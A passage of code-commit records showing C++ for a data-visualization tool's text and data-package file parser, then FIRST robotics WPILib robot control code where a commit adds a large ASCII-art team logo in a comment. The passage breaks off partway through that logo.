data[\"format\"];\n\n        member.format.quoted = format_data.value(\"quoted\", false);\n\n        string quote_mark = format_data.value(\"quote_mark\", \"'\");\n        if (quote_mark.size() != 1)\n            throw Error(\"Quote mark is not a single character.\");\n        member.format.quote_mark = quote_mark[0];\n\n        string delimiter = format_data.at(\"delimiter\");\n        if (delimiter.size() != 1)\n            throw Error(\"Delimiter is not a single character.\");\n\n        member.format.delimiter = delimiter[0];\n    }\n\n    if (data.find(\"fields\") != data.end())\n    {\n        for (const auto & field : data[\"fields\"])\n        {\n            DataSet::Attribute attribute;\n            attribute.name = field.value(\"name\", \"\");\n            member.info.attributes.push_back(attribute);\n        }\n    }\n    else\n    {\n        member.info.attributes.resize(1);\n    }\n\n    member.format.count = member.info.attributes.size();\n\n    for (const auto & dimension_data : data.at(\"dimensions\"))\n    {\n        DataSet::Dimension dimension;\n\n        dimension.name = dimension_data.value(\"name\", \"\");\n        dimension.size = dimension_data.at(\"size\");\n        dimension.map.scale = dimension_data.value(\"scale\", 1);\n        dimension.map.offset = dimension_data.value(\"offset\", 0);\n\n        member.info.dimensions.push_back(dimension);\n    }\n\n    if (member.info.dimensions.empty())\n    {\n        throw Error(\"Descriptor does not declare any dimensions.\");\n    }\n}\n\n#if 0\nstatic void inferResource(TextPackageSource::Member & member, const string & base_path)\n{\n    \/\/ FIXME:\n    string path = base_path + '\/' + member.path;\n\n    ifstream file(path);\n    if (!file.is_open())\n        throw Error(\"Failed to open descriptor file.\");\n\n    string first_line;\n    std::getline(file, first_line);\n    if (!file)\n        throw Error(\"Failed to read a line.\");\n\n    if (member.format.delimiter == 0)\n    {\n        auto format = TextSourceParser::inferFormat(first_line);\n        member.format = format;\n        if (member.info.attributes.empty())\n            member.info.attributes.resize(format.count);\n        else if (member.info.attributes.size() != format.count)\n            throw Error(\"Number of attributes does not match number of fields.\");\n    }\n    else\n    {\n        if (member.info.attributes.empty())\n        {\n            member.info.attributes.resize(1);\n            member.format.count = 1;\n        }\n    }\n\n    if (member.info.dimensions.empty())\n    {\n        int line_count = 1;\n\n        string line;\n        while(std::getline(file, line))\n            ++line_count;\n\n        DataSet::Dimension dim;\n        dim.size = line_count;\n        member.info.dimensions.push_back(dim);\n    }\n}\n#endif\n\nvoid TextPackageSource::parseDescriptor()\n{\n    using nlohmann::json;\n\n    ifstream file(m_file_path);\n    if (!file.is_open())\n        throw Error(\"Failed to open descriptor file.\");\n\n    json data;\n\n    try\n    {\n        file >> data;\n\n        auto resources = data.at(\"resources\");\n\n        m_members.reserve(resources.size());\n\n        for(auto resource : resources)\n        {\n            m_members.emplace_back();\n            parseResourceDescription(m_members.back(), resource);\n        }\n    }\n    catch (json::exception & e)\n    {\n        throw Error(string(\"Failed to parse descriptor: \") + e.what());\n    }\n}\n\nvoid TextPackageSource::loadDataSet(int index)\n{\n    Member & member = m_members[index];\n\n    \/\/ FIXME:\n    string path = m_dir_path + '\/' + member.path;\n\n    vector<string> lines;\n\n    \/\/ Read lines from file\n    {\n        ifstream file(path);\n        if (!file.is_open())\n            throw Error(\"Failed to open resource file: \" + path);\n\n        string line;\n        while(std::getline(file, line))\n            lines.push_back(line);\n    }\n\n    \/\/ Confirm total size of dataset\n    {\n        size_t total_size = 1;\n        for (const auto & dim : member.info.dimensions)\n        {\n            total_size *= dim.size;\n        }\n\n        if (lines.size() != total_size)\n        {\n            throw Error(\"Number of records does not match data space size.\");\n        }\n    }\n\n    \/\/ Create DataSet\n\n    vector<int> data_size;\n    for (int i = 0; i < member.info.dimensions.size(); ++i)\n    {\n        data_size.push_back(member.info.dimensions[i].size);\n    }\n\n    auto dataset = make_shared<DataSet>(member.path, data_size, member.info.attributes.size());\n    dataset->setSource(this);\n\n    for (int i = 0; i < member.info.attributes.size(); ++i)\n    {\n        dataset->attribute(i) = member.info.attributes[i];\n    }\n    for (int i = 0; i < member.info.dimensions.size(); ++i)\n    {\n        const auto & dim = member.info.dimensions[i];\n\n        dataset->setDimension(i, dim);\n\n        DimensionPtr gdim = library()->dimension(dim.name);\n        if (gdim)\n        {\n            cout << \"TextPackageSource: Setting global dimension: \" << dim.name << endl;\n            dataset->setGlobalDimension(i, gdim);\n        }\n\n    }\n\n    \/\/ Fill DataSet with data\n\n    TextSourceParser parser(member.format);\n\n    for (size_t line_index = 0; line_index < lines.size(); ++line_index)\n    {\n        auto fields = parser.parse(lines[line_index]);\n        for (int i = 0; i < fields.size(); ++i)\n        {\n            double value = stof(fields[i]);\n            dataset->data(i).data()[line_index] = value;\n        }\n    }\n\n    member.dataset = dataset;\n}\n\n}\n\n<commit_msg>IO \/ Text Package: Fix data source name<commit_after>#include \"text.hpp\"\n#include \"..\/data\/data_library.hpp\"\n#include \"..\/utility\/error.hpp\"\n#include \"..\/json\/json.hpp\"\n\n#include <QFileInfo>\n#include <QDir>\n\n#include <iostream>\n#include <sstream>\n#include <fstream>\n\nusing namespace std;\n\nnamespace datavis {\n\nstring TextSourceParser::m_possible_delimiters = \" \\t;:|\/\\\\\";\n\nbool TextSourceParser::isPossibleDelimiter(char c)\n{\n    return m_possible_delimiters.find(c) != string::npos;\n}\n\nTextSourceParser::Format TextSourceParser::inferFormat(const string &line)\n{\n    Format format;\n\n    if (line.empty())\n        throw Error(\"Empty line.\");\n\n    if (line[0] == '\"' || line[0] == '\\'')\n    {\n        format.quoted = true;\n        format.quote_mark = line[0];\n    }\n\n    int index = 0;\n\n    string::size_type pos = 0;\n    while(pos < line.size())\n    {\n        ++index;\n\n        \/\/ Skip a field (all characters until a possible delimiter)\n\n        if (format.quoted)\n        {\n            if (line[pos] != format.quote_mark)\n                throw Error(\"Field without opening quotation mark.\");\n            pos = line.find(format.quote_mark, pos+1);\n            if (pos == string::npos)\n                throw Error(\"Field without closing quotation mark.\");\n            ++pos;\n            if (pos < line.size())\n            {\n                if (index == 1)\n                {\n                        if (!isPossibleDelimiter(line[pos]))\n                            throw Error(\"Quoted field is not followed by a delimiter.\");\n                        format.delimiter = line[pos];\n                 }\n                else\n                {\n                    if (line[pos] != format.delimiter)\n                        throw Error(\"Quoted field is not followed by the delimiter.\");\n                }\n                ++pos;\n            }\n        }\n        else\n        {\n            if (index == 1)\n            {\n                for(; pos < line.size(); ++pos)\n                {\n                    if (isPossibleDelimiter(line[pos]))\n                    {\n                        format.delimiter = line[pos];\n                        ++pos;\n                        break;\n                    }\n                }\n            }\n            else\n            {\n                pos = line.find(format.delimiter, pos);\n                if (pos != string::npos)\n                    ++pos;\n            }\n        }\n    }\n\n    format.count = index;\n\n    return format;\n}\n\nTextSourceParser::TextSourceParser(const Format & format):\n    m_format(format)\n{\n#if 0\n    cerr << \"Created parser with format: \" << endl\n         << \"- Quoted: \" << m_format.quoted << endl\n         << \"- Quote mark: '\" << m_format.quote_mark << \"'\" << endl\n         << \"- Delimiter: '\" << m_format.delimiter << \"'\" << endl\n         << \"- Count: \" << m_format.count << endl;\n#endif\n}\n\nvector<string> TextSourceParser::parse(const string & line)\n{\n    vector<string> fields;\n\n    if (line.empty())\n        throw Error(\"Empty line.\");\n\n    string::size_type pos = 0;\n    int index = 0;\n\n    if (m_format.quoted)\n    {\n        while (index < m_format.count && pos < line.size())\n        {\n            if (index > 0)\n            {\n                if (line[pos] != m_format.delimiter)\n                    throw Error(\"Missing delimiter after field.\");\n                ++pos;\n                if (pos >= line.size())\n                    throw Error(\"Missing field after delimiter.\");\n            }\n\n            if (line[pos] != m_format.quote_mark)\n                throw Error(\"Field without opening quotation mark.\");\n\n            ++pos;\n\n            string::size_type start = pos;\n\n            pos = line.find(m_format.quote_mark, pos);\n            if (pos == string::npos)\n                throw Error(\"Field without closing quotation mark.\");\n\n            string::size_type size = pos - start;\n\n            auto field = line.substr(start, size);\n            fields.push_back(field);\n\n            ++pos;\n            ++index;\n        }\n    }\n    else\n    {\n        while (index < m_format.count && pos < line.size())\n        {\n            string::size_type start = pos;\n            pos = line.find(m_format.delimiter, pos);\n\n            string field;\n            if (pos == string::npos)\n                field = line.substr(start);\n            else\n                field = line.substr(start, pos - start);\n\n            fields.push_back(field);\n\n            if (pos != string::npos)\n                ++pos;\n\n           ++index;\n        }\n    }\n\n    if (index < m_format.count)\n        throw Error(\"Too few fields.\");\n    if (pos < line.size())\n        throw Error(\"Unexpected data at end of line.\");\n\n    return fields;\n}\n\nTextSource::TextSource(const string & file_path, DataLibrary * lib):\n    DataSource(lib),\n    m_file_path(file_path)\n{\n    m_name = QFileInfo(QString::fromStdString(file_path)).fileName().toStdString();\n}\n\nDataSetInfo TextSource::info(int) const\n{\n    return inferInfo();\n}\n\nDataSetInfo TextSource::inferInfo() const\n{\n    DataSetInfo info;\n    info.id = \"data\";\n\n    ifstream file(m_file_path);\n    if (!file.is_open())\n        throw Error(\"Failed to open file.\");\n\n    string first_line;\n    std::getline(file, first_line);\n    if (!file)\n        throw Error(\"Failed to read a line.\");\n\n    auto format = TextSourceParser::inferFormat(first_line);\n    if (format.count < 1)\n        throw Error(\"No fields.\");\n\n    info.attributes.resize(format.count);\n\n    TextSourceParser parser(format);\n    auto fields = parser.parse(first_line);\n\n    bool has_field_names = false;\n    if (std::isalpha(fields.front()[0]))\n    {\n        has_field_names = true;\n        for (int i = 0; i < format.count; ++i)\n            info.attributes[i].name = fields[i];\n    }\n\n    {\n        int record_count = has_field_names ? 0 : 1;\n        string line;\n        while(std::getline(file, line))\n            ++record_count;\n\n        info.dimensions.resize(1);\n        info.dimensions.front().size = record_count;\n    }\n\n    return info;\n}\n\nDataSetPtr TextSource::dataset(int)\n{\n    if (!m_dataset)\n        m_dataset = getData();\n\n    return m_dataset;\n}\n\nDataSetPtr TextSource::getData()\n{\n    vector<string> lines;\n\n    {\n        ifstream file(m_file_path);\n        if (!file.is_open())\n            throw Error(\"Failed to open file.\");\n\n        string line;\n        while(std::getline(file, line))\n            lines.push_back(line);\n    }\n\n    if (lines.empty())\n        throw Error(\"No lines.\");\n\n    auto format = TextSourceParser::inferFormat(lines.front());\n    if (format.count < 1)\n        throw Error(\"No fields.\");\n\n    TextSourceParser parser(format);\n\n    auto fields = parser.parse(lines.front());\n    bool has_field_names = std::isalpha(fields.front()[0]);\n\n    size_t record_count = lines.size();\n    if (has_field_names) record_count -= 1;\n\n    vector<int> data_size { int(record_count) };\n    auto dataset = make_shared<DataSet>(\"data\", data_size, format.count);\n    dataset->setSource(this);\n\n    if (has_field_names)\n    {\n        for (int i = 0; i < format.count; ++i)\n            dataset->attribute(i).name = fields[i];\n    }\n\n    DataSet::Dimension dim;\n    dim.size = record_count;\n    dataset->setDimension(0, dim);\n\n    int line_index = has_field_names ? 1 : 0;\n    for (size_t record_index = 0; record_index < record_count; ++record_index, ++line_index)\n    {\n        auto fields = parser.parse(lines[line_index]);\n        for (int i = 0; i < format.count; ++i)\n        {\n            double value = stof(fields[i]);\n            dataset->data(i).data()[record_index] = value;\n        }\n    }\n\n    return dataset;\n}\n\nTextPackageSource::TextPackageSource(const string & path, DataLibrary * lib):\n    DataSource(lib),\n    m_dir_path(path),\n    \/\/ FIXME:\n    m_file_path(path + \"\/datapackage.json\")\n{\n    m_name = QDir(QString::fromStdString(path)).dirName().toStdString();\n\n    parseDescriptor();\n}\n\nint TextPackageSource::index(const string & id) const\n{\n    for(int i = 0; i < m_members.size(); ++i)\n    {\n        if (m_members[i].info.id == id)\n            return i;\n    }\n\n    return -1;\n}\n\nDataSetInfo TextPackageSource::info(int index) const\n{\n    return m_members[index].info;\n}\n\nDataSetPtr TextPackageSource::dataset(int index)\n{\n    if (!m_members[index].dataset)\n        loadDataSet(index);\n\n    return m_members[index].dataset;\n}\n\nusing nlohmann::json;\n\nstatic void parseResourceDescription(TextPackageSource::Member & member, const json & data)\n{\n    string path = data.at(\"path\");\n\n    member.path = path;\n\n    member.info.id = path;\n\n    if (data.find(\"format\") != data.end())\n    {\n        auto format_data = data[\"format\"];\n\n        member.format.quoted = format_data.value(\"quoted\", false);\n\n        string quote_mark = format_data.value(\"quote_mark\", \"'\");\n        if (quote_mark.size() != 1)\n            throw Error(\"Quote mark is not a single character.\");\n        member.format.quote_mark = quote_mark[0];\n\n        string delimiter = format_data.at(\"delimiter\");\n        if (delimiter.size() != 1)\n            throw Error(\"Delimiter is not a single character.\");\n\n        member.format.delimiter = delimiter[0];\n    }\n\n    if (data.find(\"fields\") != data.end())\n    {\n        for (const auto & field : data[\"fields\"])\n        {\n            DataSet::Attribute attribute;\n            attribute.name = field.value(\"name\", \"\");\n            member.info.attributes.push_back(attribute);\n        }\n    }\n    else\n    {\n        member.info.attributes.resize(1);\n    }\n\n    member.format.count = member.info.attributes.size();\n\n    for (const auto & dimension_data : data.at(\"dimensions\"))\n    {\n        DataSet::Dimension dimension;\n\n        dimension.name = dimension_data.value(\"name\", \"\");\n        dimension.size = dimension_data.at(\"size\");\n        dimension.map.scale = dimension_data.value(\"scale\", 1);\n        dimension.map.offset = dimension_data.value(\"offset\", 0);\n\n        member.info.dimensions.push_back(dimension);\n    }\n\n    if (member.info.dimensions.empty())\n    {\n        throw Error(\"Descriptor does not declare any dimensions.\");\n    }\n}\n\n#if 0\nstatic void inferResource(TextPackageSource::Member & member, const string & base_path)\n{\n    \/\/ FIXME:\n    string path = base_path + '\/' + member.path;\n\n    ifstream file(path);\n    if (!file.is_open())\n        throw Error(\"Failed to open descriptor file.\");\n\n    string first_line;\n    std::getline(file, first_line);\n    if (!file)\n        throw Error(\"Failed to read a line.\");\n\n    if (member.format.delimiter == 0)\n    {\n        auto format = TextSourceParser::inferFormat(first_line);\n        member.format = format;\n        if (member.info.attributes.empty())\n            member.info.attributes.resize(format.count);\n        else if (member.info.attributes.size() != format.count)\n            throw Error(\"Number of attributes does not match number of fields.\");\n    }\n    else\n    {\n        if (member.info.attributes.empty())\n        {\n            member.info.attributes.resize(1);\n            member.format.count = 1;\n        }\n    }\n\n    if (member.info.dimensions.empty())\n    {\n        int line_count = 1;\n\n        string line;\n        while(std::getline(file, line))\n            ++line_count;\n\n        DataSet::Dimension dim;\n        dim.size = line_count;\n        member.info.dimensions.push_back(dim);\n    }\n}\n#endif\n\nvoid TextPackageSource::parseDescriptor()\n{\n    using nlohmann::json;\n\n    ifstream file(m_file_path);\n    if (!file.is_open())\n        throw Error(\"Failed to open descriptor file.\");\n\n    json data;\n\n    try\n    {\n        file >> data;\n\n        auto resources = data.at(\"resources\");\n\n        m_members.reserve(resources.size());\n\n        for(auto resource : resources)\n        {\n            m_members.emplace_back();\n            parseResourceDescription(m_members.back(), resource);\n        }\n    }\n    catch (json::exception & e)\n    {\n        throw Error(string(\"Failed to parse descriptor: \") + e.what());\n    }\n}\n\nvoid TextPackageSource::loadDataSet(int index)\n{\n    Member & member = m_members[index];\n\n    \/\/ FIXME:\n    string path = m_dir_path + '\/' + member.path;\n\n    vector<string> lines;\n\n    \/\/ Read lines from file\n    {\n        ifstream file(path);\n        if (!file.is_open())\n            throw Error(\"Failed to open resource file: \" + path);\n\n        string line;\n        while(std::getline(file, line))\n            lines.push_back(line);\n    }\n\n    \/\/ Confirm total size of dataset\n    {\n        size_t total_size = 1;\n        for (const auto & dim : member.info.dimensions)\n        {\n            total_size *= dim.size;\n        }\n\n        if (lines.size() != total_size)\n        {\n            throw Error(\"Number of records does not match data space size.\");\n        }\n    }\n\n    \/\/ Create DataSet\n\n    vector<int> data_size;\n    for (int i = 0; i < member.info.dimensions.size(); ++i)\n    {\n        data_size.push_back(member.info.dimensions[i].size);\n    }\n\n    auto dataset = make_shared<DataSet>(member.path, data_size, member.info.attributes.size());\n    dataset->setSource(this);\n\n    for (int i = 0; i < member.info.attributes.size(); ++i)\n    {\n        dataset->attribute(i) = member.info.attributes[i];\n    }\n    for (int i = 0; i < member.info.dimensions.size(); ++i)\n    {\n        const auto & dim = member.info.dimensions[i];\n\n        dataset->setDimension(i, dim);\n\n        DimensionPtr gdim = library()->dimension(dim.name);\n        if (gdim)\n        {\n            cout << \"TextPackageSource: Setting global dimension: \" << dim.name << endl;\n            dataset->setGlobalDimension(i, gdim);\n        }\n\n    }\n\n    \/\/ Fill DataSet with data\n\n    TextSourceParser parser(member.format);\n\n    for (size_t line_index = 0; line_index < lines.size(); ++line_index)\n    {\n        auto fields = parser.parse(lines[line_index]);\n        for (int i = 0; i < fields.size(); ++i)\n        {\n            double value = stof(fields[i]);\n            dataset->data(i).data()[line_index] = value;\n        }\n    }\n\n    member.dataset = dataset;\n}\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"WPILib.h\"\n#include <string>\n\nusing std::string;\n\n\/\/Written by Javed Nissar with some help from Fayaad\/Jay\/Harry\n\/**\n * This is a demo program showing the use of the RobotDrive class.\n * The SampleRobot class is the base of a robot application that will automatically call your\n * Autonomous and OperatorControl methods at the right time as controlled by the switches on\n * the driver station or the field controls.\n *\n * WARNING: While it may look like a good choice to use for your code if you're inexperienced,\n * don't. Unless you know what you are doing, complex code will be much more difficult under\n * this system. Use IterativeRobot or Command-Based instead if you're new.\n *\/\n\/*\nIf you are at any point disturbed by the code below, please stare at\nthe safety pig.\n                         _\n _._ _..._ .-',     _.._(`))\n'-. `     '  \/-._.-'    ',\/\n   )         \\            '.\n  \/ _    _    |             \\\n |  a    a    \/              |\n \\   .-.                     ;\n  '-('' ).-'       ,'       ;\n     '-;           |      .'\n        \\           \\    \/\n        | 7  .__  _.-\\   \\\n        | |  |  ``\/  \/`  \/\n       \/,_|  |   \/,_\/   \/\n          \/,_\/      '`-'\n*\/\nclass Robot: public SampleRobot\n{\n\tRobotDrive myRobot; \/\/ robot drive system\n\tJoystick controller;\n\tTalon forkLift;\n\tSolenoid leftHook;\n\tSolenoid rightHook;\n\tTimer pneumaticTimer;\n\tunsigned int secondsForPulley;\n\tdouble secondsForPneumatic;\n\npublic:\n\tRobot() :\n\t\t\tmyRobot(0, 1),\t\/\/ these must be initialized in the same order\n\t\t\tcontroller(0),\n\t\t\tforkLift(2),\n\t\t\tleftHook(0),\n\t\t\trightHook(1)\/\/ as they are declared above.\n\t{\n\t\tmyRobot.SetExpiration(0.1);\n\t\tsecondsForPulley=5;\n\t\tsecondsForPneumatic=0.5;\n\t}\n\n\t\/**\n\t * Drive left & right motors for 2 seconds then stop\n\t *\/\n\tvoid Autonomous()\n\t{\n\t\tmyRobot.SetSafetyEnabled(false);\n\t\tmyRobot.Drive(-0.5, 0.0); \t\/\/ drive forwards half speed\n\t\tWait(2.0); \t\t\t\t\/\/    for 2 seconds\n\t\tmyRobot.Drive(0.0, 0.0); \t\/\/ stop robot\n\t}\n\n\t\/**\n\t * Runs the motors with arcade steering.\n\t *\/\n\tvoid forwardsPulley(){\n\t\tforkLift.Set(0.75);\n\t}\n\tvoid backwardsPulley(){\n\t\tforkLift.Set(-0.5);\n\t}\n\tvoid stopPulley(){\n\t\tforkLift.Set(0);\n\t}\n\tstring CanHooksBeMoved(){\n\t\tif(pneumaticTimer.Get()>0){\n\t\t\treturn \"No\";\n\t\t}else{\n\t\t\treturn \"Yes\";\n\t\t}\n\t}\n\tvoid OperatorControl()\n\t{\n\t\tmyRobot.SetSafetyEnabled(true);\n\t\twhile (IsOperatorControl() && IsEnabled())\n\t\t{\n\t\t\tmyRobot.ArcadeDrive(controller,false); \/\/ drive with arcade style (use left stick of controller) without squared inputs\n\t\t\t\/*when you move the right stick of controller upwards, the pulley will move upwards\n\t\t\t *the motor of the pulley will be at 75% forwards\n\t\t\t *the need for it to be above 0.1 is to accommodate the drift of the right stick of the controller (joystick value is never 0)\n\t\t\t *\/\n\t\t\tif(controller.GetRawAxis(3)>0.1){\n\t\t\t\tforwardsPulley();\n\t\t\t}\n\t\t\t\/*\n\t\t\t * when you move right stick of controller downwards, the pulley will move downwards\n\t\t\t * the motor of the pulley will be at 50% reverse\n\t\t\t *\/\n\t\t\telse if(controller.GetRawAxis(3)<-0.1){\n\t\t\t\tbackwardsPulley();\n\t\t\t}\n\t\t\t\/\/when right stick of controller is left alone, motor will not exert force on pulley; thus, causing the pulley to drift downwards.\n\t\t\telse{\n\t\t\t\tstopPulley();\n\t\t\t}\n\t\t\t\/\/provide status on whether or not hooks can be moved\n\t\t\tSmartDashboard::PutString(\"Can I press right trigger to move hooks\",CanHooksBeMoved());\n\t\t\t\/\/if button 8 on the controller is pressed (the right trigger on Maninder's red controller) and the timer on the pneumatic is not active\n\t\t\t\/\/this is meant to prevent the hooks from bouncing by ensuring that the button input is not taken at all times\n\t\t\tif(controller.GetRawButton(8)&&!(pneumaticTimer.Get()>0)){\n\t\t\t\tif(leftHook.Get()){\n\t\t\t\t\tleftHook.Set(false);\n\t\t\t\t\trightHook.Set(false);\t\/\/moves left hook and right hook back to default position\n\t\t\t\t}else{\n\t\t\t\t\tleftHook.Set(true);\t\t\/\/moves left hook and right hook forwards\n\t\t\t\t\trightHook.Set(true);\n\t\t\t\t}\n\t\t\t\tpneumaticTimer.Start();\n\t\t\t}else if(pneumaticTimer.Get()>secondsForPneumatic){\n\t\t\t\t\/\/stop and reset timer to enable buttons to operate\n\t\t\t\tpneumaticTimer.Stop();\n\t\t\t\tpneumaticTimer.Reset();\n\t\t\t}\n\t\t\tWait(0.005);\t\t\t\/\/ wait for a motor update time\n\t\t}\n\t}\n\n\t\/**\n\t * Runs during test mode\n\t *\/\n\tvoid Test()\n\t{\n\t}\n};\n\nSTART_ROBOT_CLASS(Robot);\n<commit_msg>added Arrowbots logo<commit_after>#include \"WPILib.h\"\n#include <string>\n\nusing std::string;\n\n\/\/Written by Javed Nissar with some help from Fayaad\/Jay\/Harry\n\/**\n * This is a demo program showing the use of the RobotDrive class.\n * The SampleRobot class is the base of a robot application that will automatically call your\n * Autonomous and OperatorControl methods at the right time as controlled by the switches on\n * the driver station or the field controls.\n *\n * WARNING: While it may look like a good choice to use for your code if you're inexperienced,\n * don't. Unless you know what you are doing, complex code will be much more difficult under\n * this system. Use IterativeRobot or Command-Based instead if you're new.\n *\/\n\/*\n                                   .'########:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ,## `#######\n                                ;############+:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::, ##` #######.\n                             ,################::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::  ##  #######\n                           :###################:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ;#' ,######+\n                         .#####################:::::::::::::::::::::::::::::::::::::'+;::::::::::::::::::::::::::::::::::::::'++;::::::::::::::::::::::::::::::. ##  #######`\n                        #######################+::::::::::::::::::::::::::::::::::;#####:::::######+::::::#######::::::::::#######+:::::::#:::::::::::::#;:::::: `##  #######\n                      `#########################::::::::::::::::::::::::::::::::::#':::#+:::::'#::;##::::::;#::;##::::::::##:::::;##::::::#;::::::::::::#:::::::: +#: '######'\n                     '##########################:::::::::::::::::::::::::::::::::+#:::::#:::::'#::::##:::::;#::::##::::::#+::::::::##:::::+#:::::::::::+#::::::::` ##  #######\n                    ############################:::::::::::::::::::::::::::::::::#':::::#:::::'#:::::#:::::;#:::::#;::::##::::::::::#+:::::#:::::::::::#'::::::::: .## `#######\n                   #############################:::::::::::::::::::::::::::::::::#':::::#:::::'#:::::#+::::;#:::::+#:::;#:::::::::::;#:::::#:::::+:::::#::::::::::: ##. +######,\n                  '. ###########################:::::::::::::::::::::::::::::::::#':::::#:::::'#:::::+#::::;#:::::'#:::#+::::::::::::#;::::#+::::#::::'#:::::::::::  ##  #######\n              ;##`  +###########################:::::::::::::::::::::::::::::::::#':::::#:::::'#:::::+#::::;#:::::'#:::#:::::::::::::+#::::;#::::#;:::#+:::::::::::: ;#+ ,######+\n          `#####,   ############################:::::::::::::::::::::::::::::::::#':::::#:::::'#:::::#'::::;#:::::#+:::#:::::::::::::;#:::::#:::'##:::#:::::::::::::. ##` #######`\n           ####+   ;###########################':::::::::::::::::::::::::::::::::#':::::#:::::'#:::::#:::::;#:::::#::::#:::::::::::::;#:::::#+::#+#::;#:::::::::::::: `##  #######\n           `###      ,#########################::::::::::::::::::::::::::::::::::#':::::#:::::'#::::#+:::::;#::::##::::#:::::::::::::'#:::::'#::#:#::#+::::::::::::::: +#: '######'\n            ##`        .#######################:::::::::::::::::::::::::::::::::;#';;;;;#:::::'#;;+##::::::;#;;+##:::::#;::::::::::::#+::::::#:;#:#+:#::::::::::::::::` ##  #######\n             #           ,#####################:::::::::::::::::::::::::::::::::#########:::::'####;:::::::;####'::::::+#::::::::::::#:::::::#'#+:;#:#::::::::::::::::: .## `#######\n             `   #+        '##################;::::::::::::::::::::::::::``::::::#':::::#:::::'#:##::::::::;#:+#::::::::#:::::::::::+#:::::::+##:::#+#:::::::::::::::::: ##. +######,\n            .#  '####:       #################:::::::::::::::::::::::::::.  :::::#':::::#:::::'#::##:::::::;#::##:::::::+#:::::::::;#:::::::::##:::##;::::::::::::::::::` ##  #######\n            ##` #######'      '###############:::::::::::::::::::::::::::.   ,:::#':::::#:::::'#:::#'::::::;#:::#+:::::::##:::::::'#+:::::::::##:::'#:::::::::::::::::::: :#+ ,#######\n           `###+#########;     ,#############+:::::::::::::::::::::::.        `::#':::::#:::::'#:::;#::::::;#::::#;:::::::###;::'##'::::::::::+;::::#::::::::::::::::::::, ##` #######.\n           ################,    ,############:::::::::::::::::::::,            ::#':::::#:::::'#::::##:::::;#::::'#::::::::;######::::::::::::::::::'::::::::::::::::::::: `##  #######\n           #########.########    :###########:::::::::::::::::::`             ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: '#; ;######+\n          ,########,  :#######.   '##########:::::::::::::::::.       `.::.  ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::. ##  #######\n          #########     +######'   #########'::::::::::::::::     .:::::::, ::::::''''''':::::::::::::::::;######'::::::::::::'''''''''':::::::::###+::::::::::::::::::::::: `## `#######\n          #########      `#######   ########:::::::::::::::,   `:::::::::::,::::::+########:::::::::::::;##########'::::::::::##########:::::::+######;:::::::::::::::::::::: ##. +######:\n          ########'        '######  .#######::::::::::::::`  `::::::::::::::::::::+#;;;;'###:::::::::::+###;:::::####:::::::::;;;;##;;;;::::::'##;::'##::::::::::::::::::::::` ##  #######\n         ,########;         `######  #######:::::::::::::   ::::::  ,:::::::::::::+#::::::##::::::::::###::::::::::###::::::::::::##::::::::::##::::::#::::::::::::::::::::::: :#+ .#######\n         +########+           ######  #####+::::::::::::  ,::::.     :::::::::::::+#::::::;#;::::::::+##::::::::::::+##:::::::::::##:::::::::;#'::::::::::::::::::::::::::::::, ##` #######.\n         ##########            ;##### '####;:::::::::::  ::::`       ,::::::::::::+#:::::::#'::::::::##::::::::::::::##'::::::::::##:::::::::+#::::::::::::::::::::::::::::::::  ##  #######\n         ##########             .##### ####::::::::::: .:::          .::::::::::::+#::::::'#;:::::::##::::::::::::::::##::::::::::##:::::::::##::::::::::::::::::::::::::::::::: '#; ;######+\n         ##########.             `#####+###:::::::::: :::`           ,::::::::::::+#::::::##::::::::##::::::::::::::::'#':::::::::##:::::::::+#:::::::::::::::::::::::::::::::::. ##  #######\n         ###########               ########:::::::::`::`             :::::::::::;##########;:::::::+#::::::::::::::::::##:::::::::##::::::::::##::::::::::::::::::::::::::::::::: `## `#######\n         ###########                #######::::::::.::              .:::::::::::###########::::::::##::::::::::::::::::##:::::::::##::::::::::##'::::::::::::::::::::::::::::::::: ##, '######;\n         ############              ;#######:::::::::`               ::::::::::::::+#:::::###;::::::##::::::::::::::::::+#:::::::::##:::::::::::###+::::::::::::::::::::::::::::::. ##  #######\n         ############.          ,##########::::::::::`             :::::::::::::::+#::::::;##::::::##::::::::::::::::::;#;::::::::##::::::::::::#####+::::::::::::::::::::::::::: ;#' :######+\n         #############`     `'#############::::::::::::::.        ::::::::::::::::+#:::::::'##:::::#+::::::::::::::::::;#;::::::::##::::::::::::::'####:::::::::::::::::::::::::  ##  #######\n         ##################################:::::::::::::::::::::::::::::::::::::::+#::::::::##:::::##::::::::::::::::::;#;::::::::##:::::::::::::::::###:::::::::::::::::::::::, ##` #######,\n         ###################################::::::::::::::::::::::::::::::::::::::+#::::::::'#:::::##::::::::::::::::::+#:::::::::##::::::::::::::::::##;:::::::::::::::::::::: ,## .#######\n         '########,+########################::::::::::::::::::::::::::::::::::::::+#:::::::::#'::::##::::::::::::::::::##:::::::::##:::::::::::::::::::##:::::::::::::::::::::` ##  #######\n         .######' ##########################':::::::::::::::::::::::::::::::::::::+#:::::::::#'::::+#::::::::::::::::::##:::::::::##:::::::::::::::::::##::::::::::::::::::::: ##, +######;\n          ###### ####' ######################:::::::::::::::::::::::::::::::::::::+#::::::::;#;:::::##::::::::::::::::'#':::::::::##:::::::::::::::::::##:::::::::::::::::::: `##  #######\n          ##### ####.  `######################::::::::::::::::::::::::::::::::::::+#::::::::+#::::::##::::::::::::::::##::::::::::##:::::::::::::::::::##:::::::::::::::::::. ##  #######\n          #########.    ######################+:::::::::::::::::::::::::::::::::::+#::::::::##:::::::##::::::::::::::##'::::::::::##::::::::;#;::::::::##::::::::::::::::::: '#; :######+\n          .########      ######################+::::::::::::::::::::::::::::::::::+#:::::::##':::::::+##::::::::::::+##:::::::::::##:::::::::##:::::::;#+::::::::::::::::::  ##  #######\n           #########     `######################+:::::::::::::::::::::::::::::::::+#::::::+##:::::::::###::::::::::###::::::::::::##:::::::::##'::::::##::::::::::::::::::, ##` #######.\n           +###### #      .#######################::::::::::::::::::::::::::::::::+#;;;;+###:::::::::::+###::::::+###:::::::::::::##::::::::::###:::;##':::::::::::::::::: :## .#######\n            ######  ;       